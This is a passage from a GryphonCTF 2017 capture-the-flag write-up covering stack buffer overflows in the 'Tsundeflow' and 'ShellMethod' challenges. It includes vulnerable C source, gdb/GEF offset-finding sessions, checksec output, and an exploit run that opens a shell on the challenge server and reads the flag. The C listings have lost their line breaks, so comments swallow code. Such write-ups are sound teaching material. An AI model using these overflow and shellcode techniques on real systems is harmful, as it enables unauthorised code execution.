a) LIST ALL FILES
b) PRINT FLAG
YOUR INPUT => b
PASSWORD PLS !=> 653
HERES THE FLAG!
GCTF{in53cur3_fi13_tr4n5f3r}
Pitfalls
It’s important to also note that we cannot forge the key to read from the flag, as the filepath is too long as len('flag/thisisalongnameforadirectoryforareasonflag.txt') > 33 is true, so the filepath to the flag will be rejected by the service:
if(len(lll)>33):c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())c.close()else:gets(lll,c)...
Flag:GCTF{in53cur3_fi13_tr4n5f3r}
Tsundeflow
Problem
Description:
This one is a handful. pwn2.chal.gryphonctf.com 17343
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <amosng1@gmail.com>
**/#include<stdio.h>
#include<stdlib.h>
#include<string.h>intwin(){puts("B-baka! It's not like I like you or anything!");system("/bin/sh");}intmain(){// Disable output bufferingsetbuf(stdout,NULL);// Declare main variablescharinput[32];// User prefaceputs("I check input length now! Your attacks have no effect on me anymore!!!");printf("Your response? ");// Read user inputscanf("%s",input);// "Check" for buffer overflowif(strlen(input)>32){exit(1);}}
Analysis
Notice that scanf("%s", input); is being used, and there is a strlen(input) > 32 check for input.
Using the %s format specifier does not limit the number of characters to be read into the variable, so we can write more than 32 bytes into input and overflow and replace the stored return address.
To pass the strlen check, we can exploit yet another property of scanf("%s") – it does not stop when reading a null byte, but instead, stops at spaces! In other words, we can send an input that has <= 32 bytes of padding, followed by a null byte, more padding and finally the address of win().
To calculate the number of padding bytes needed to reach the stored return address from input, we can use gdb with GEF:
$ gdb ./tsundeflow-redacted-fb0908a3d9a30c4029acfdfd5bdbe313
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
gef➤ pattern create 100
gef➤ r < <(python -c'print "A"*31 + "\x00" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"')
Starting program: ./tsundeflow-redacted-fb0908a3d9a30c4029acfdfd5bdbe313 < <(python -c'print "A"*31 + "\x00" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"')
I check input length now! Your attacks have no effect on me anymore!!!
Your response?
Program received signal SIGSEGV, Segmentation fault.
0x61616261 in ?? ()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x00000000
$ebx : 0x00000000
$ecx : 0x00000018
$edx : 0x00000008
$esp : 0xffffd480 → "acaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaao[...]"$ebp : 0x61616100
$esi : 0xf7fb1000 → 0x001b1db0
$edi : 0xf7fb1000 → 0x001b1db0
$eip : 0x61616261 ("abaa"?)$cs : 0x00000023
$ss : 0x0000002b
$ds : 0x0000002b
$es : 0x0000002b
$fs : 0x00000000
$gs : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffffd480│+0x00: "acaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaao[...]" ← $esp
0xffffd484│+0x04: "adaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaap[...]"
0xffffd488│+0x08: "aeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq[...]"
0xffffd48c│+0x0c: "afaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaar[...]"
0xffffd490│+0x10: "agaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaas[...]"
0xffffd494│+0x14: "ahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaat[...]"
0xffffd498│+0x18: "aiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaau[...]"
0xffffd49c│+0x1c: "ajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaav[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "tsundeflow-reda", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern search 0x61616261
[+] Searching '0x61616261'[+] Found at offset 4 (little-endian search) likely
[+] Found at offset 1 (big-endian search)
From above, we can see that the stored return address is at 4 bytes offset from input[32].
$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17343: Done
[*] Switching to interactive mode
B-baka! It's not like I like you or anything!
$ ls -al
total 32
drwxr-xr-x 1 root root 4096 Oct 4 13:24 .
drwxr-xr-x 1 root root 4096 Oct 4 13:16 ..
-rw-r--r-- 1 root root 220 Oct 4 13:16 .bash_logout
-rw-r--r-- 1 root root 3771 Oct 4 13:16 .bashrc
-rw-r--r-- 1 root root 655 Oct 4 13:16 .profile
-r--r----- 1 root tsundeflow 43 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root tsundeflow 7636 Sep 30 17:57 tsundeflow
$ cat flag.txt
GCTF{51mpl3_buff3r_0v3rfl0w_f0r_75und3r35}
Flag:GCTF{51mpl3_buff3r_0v3rfl0w_f0r_75und3r35}
ShellMethod
Problem
Description:
I’ve taken the previous challenge, tossed away the personality and replaced it with a stone cold robot AI. nc pwn2.chal.gryphonctf.com 17344
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <amosng1@gmail.com>
**/#include<stdio.h>
#include<stdlib.h>
#include<string.h>intvuln(){// Declare main variablescharcommand[64];// Get user's inputputs("PLEASE STATE YOUR COMMAND.");printf("Your response? ");gets(command);}intmain(){// Disable output bufferingsetbuf(stdout,NULL);// Greet and meetputs("HELLO. I AM SMARTBOT ALPHA 0.1.0.");vuln();// Deny user wishes immediately.puts("YOUR WISHES ARE DENIED.");}
Analysis
An obvious unbounded reading of input via gets() function should be spotted from the above code.
Notice that the file does not come with any system("/bin/cat flag.txt") or system("/bin/sh") calls.
Let’s examine the security features that the executable has enabled before continuing:
$ checksec --file shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 4 shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83
Great! No-eXecute (NX) bit is disabled, so we can easily gain arbitrary code execution by returning to our shellcode stored on the stack (if ASLR is disabled on the server)!
We see that the memory address location of stack variable command[64] is loaded into $eax at 0x080484eb <+32>. This means that $eax points to the start of command[64], which is our input!
Now, we just need to find a call eax or jmp eax instruction in the executable and insert an appropriate shellcode to do execve('/bin/sh'). Luckily for us, call eax instruction exists in the deregister_tm_clones()!